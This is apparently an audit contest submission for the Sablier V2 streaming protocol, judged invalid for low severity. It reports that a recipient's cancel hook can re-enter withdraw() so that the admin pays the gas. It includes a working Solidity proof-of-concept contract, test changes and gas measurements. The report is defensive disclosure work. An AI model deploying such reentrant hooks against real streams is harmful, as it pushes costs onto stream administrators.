Sablier
Sablier
DeFiFoundry
53,440 USDC
View results
Previous Next
Submission Details
Severity: low
Invalid

Stream recipient can force admin to pay withdrawal gas fees on cancel/revoke

BiasedMerc

Summary

Sablier allows stream recipients to implement hooks that will be called during certain stream actions.
onLockupStreamCanceled, onLockupStreamRenounced and onLockupStreamWithdrawn. There are no real checks for what occurs within these hooks and the contract does not prevent these hooks from calling back to the stream but the intention from the docs is to account for protocol accounting with integrators, allow for liquidations, etc.

However this allows a recipient to utilise these hooks to reenter the stream and withdraw their funds from the stream, making the admin pay for the gas cost.

Vulnerability Details

Throughout this issue I will be refering to Ethereum mainnet gas costs, as the protocol is planning to deploy there and this will highlight the severity of the issue, however this is applicable to all chains where users have to pay gas fees.

SablierV2Lockup::_cancel()

function _cancel(uint256 streamId) internal {
...SNIP...
address sender = _streams[streamId].sender;
address recipient = _ownerOf(streamId);
...SNIP...
if (recipient.code.length > 0) {
try ISablierV2Recipient(recipient).onLockupStreamCanceled({
streamId: streamId,
sender: sender,
senderAmount: senderAmount,
recipientAmount: recipientAmount
}) { } catch { }
}
}

After the admin has cancelled the stream, onLockupStreamCanceled is called on the recipient, which as mentioned can contain any logic which is intended for other protocol integrators to be able to perform internal accounting, etc. However stream recipients can add any logic into the hook, including reentering the stream contract withdraw() function to utilise the callers gas, in this case the admin's.

POC

The following POC will demonstrate that the hook can indeed call withdraw on the calling stream and retrieve any unstreamed rewards for the recipient. This will utilise the admin's gas, which will also be calculated to analyse the cost inflicted on the admin.

Add the following file into /v2-core/test/mocks/hooks/BadRecipientWithdraw.sol

// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.8.22;
​
import { ISablierV2Lockup } from "../../../src/interfaces/ISablierV2Lockup.sol";
import { ISablierV2Recipient } from "../../../src/interfaces/hooks/ISablierV2Recipient.sol";
​
contract BadRecipientWithdraw is ISablierV2Recipient {
function onLockupStreamCanceled(
uint256 streamId,
address sender,
uint128 senderAmount,
uint128 recipientAmount
)
external
{
streamId;
senderAmount;
sender;
recipientAmount;
​
uint128 withdrawAmount = ISablierV2Lockup(msg.sender).withdrawableAmountOf(streamId);
ISablierV2Lockup(msg.sender).withdraw(streamId, address(this), withdrawAmount);
}
​
function onLockupStreamRenounced(uint256 streamId) external {
ISablierV2Lockup(msg.sender).renounce(streamId);
}
​
function onLockupStreamWithdrawn(uint256 streamId, address caller, address to, uint128 amount) external {
streamId;
caller;
to;
amount;
ISablierV2Lockup(msg.sender).withdraw(streamId, address(this), amount);
}
}

Make the following changes to v2-core/test/integration/Integration.t.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.8.22 <0.9.0;
​
import { Errors } from "src/libraries/Errors.sol";
​
+import { BadRecipientWithdraw } from "../mocks/hooks/BadRecipientWithdraw.sol";
​
import { Base_Test } from "../Base.t.sol";
import { ReentrantRecipient } from "../mocks/hooks/ReentrantRecipient.sol";
import { ReentrantSender } from "../mocks/hooks/ReentrantSender.sol";
import { RevertingRecipient } from "../mocks/hooks/RevertingRecipient.sol";
import { RevertingSender } from "../mocks/hooks/RevertingSender.sol";
​
/// @notice Common logic needed by all integration tests, both concrete and fuzz tests.
abstract contract Integration_Test is Base_Test {
/*//////////////////////////////////////////////////////////////////////////
TEST CONTRACTS
//////////////////////////////////////////////////////////////////////////*/
​
ReentrantRecipient internal reentrantRecipient = new ReentrantRecipient();
ReentrantSender internal reentrantSender = new ReentrantSender();
RevertingRecipient internal revertingRecipient = new RevertingRecipient();
RevertingSender internal revertingSender = new RevertingSender();
​
+ BadRecipientWithdraw internal badRecipientWithdraw = new BadRecipientWithdraw();

Add this function to v2-core/test/integration/concrete/lockup/cancel/cancel.t.sol

function test_Cancel_Recipient_Withdraw_Reentrency()
external
whenNotDelegateCalled
givenNotNull
givenStreamWarm
whenCallerAuthorized
givenStreamCancelable
givenStatusStreaming
givenRecipientContract
givenRecipientImplementsHook
whenRecipientDoesNotRevert
{
// Create the stream with a reentrant contract as the recipient.
uint256 streamId = createDefaultStreamWithRecipient(address(badRecipientWithdraw));
​
// Expect a call to the hook.
uint128 senderAmount = lockup.refundableAmountOf(streamId);
uint128 recipientAmount = lockup.withdrawableAmountOf(streamId);
vm.expectCall(
address(badRecipientWithdraw),
abi.encodeCall(
ISablierV2Recipient.onLockupStreamCanceled, (streamId, users.sender, senderAmount, recipientAmount)
)
);
​
// Cancel the stream.
lockup.cancel(streamId);
}

Run the test POC using bun run test --match-test test_Cancel_Recipient_Withdraw_Reentrency -vvvv. After running the test, you will see the WithdrawFromLockupStream emit showing the callback to withdraw from the recipient during the onLockupStreamCanceled hook was successful and the user received their withdrawal for free.

To check gas usage in a non-withdraw and a withdraw hook calls:

bun run test --match-test test_Cancel --gas-report
Non-withdraw gas-report average cancel call cost 91515

bun run test --match-test test_Cancel_Recipient_Withdraw_Reentrency --gas-report
Withdraw hook gas-report average cancel cost 134825

Meaning the extra cost of this withdrawal hook is 134825 - 91515 = 43310. Which currently costs around $4 USD estimation.

Note: This is not a gas-bomb attack, which has been marked as a Known Issue in the ReadMe. This is a reentrancy vulnerability that is caused by the callback hooks, which forces the admin to pay for the gas fee saving the recipient gas costs.

Impact

Impact: Medium, admin will lose $4 on ethereum for their call to revoke() or claim() on their streams if recipients include this hook. The likelihood of this occuring increases with the implementation of Airstreams, which can deploy up to 50,000 seperate streams which can have the option to be cancellable (and revokable).

Likelihood: Medium, As mentioned Airstreams increase the likelihood of this scenario occuring which requires no special conditions (cancel and revoke are standard functions within streams) and is controllable by the recipient. With the addition of Airstreams, many new airdrops within the Ethereum ecosystem may utilise Sablier. This means airdrop farmers can utilise contracts with this logic to withdraw their rewards for free from many different Streams if they are to be cancelled or revoked.

Overall Severity: Medium, Admins will suffer the additional cost of an average of$4 per cancellation or revoke from their streams where recipients utilise this kind of hook. With the addition of Airstreams the number of streams present will be much larger, increasing the likelihood of this scenario occuring (due to more cancellations, etc) however this scenario does not need any special conditions to align and can be exploited by anyone.

Tools Used

Manual Review

Recommendations

Add a reentrancy modifier to withdraw() to ensure that it cannot be entered within the same transaction as cancel() or revoke().

Updates

Lead Judging Commences

inallhonesty Lead Judge
about 1 year ago
inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

Info/Gas/Invalid as per Docs

https://docs.codehawks.com/hawks-auditors/how-to-determine-a-finding-validity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.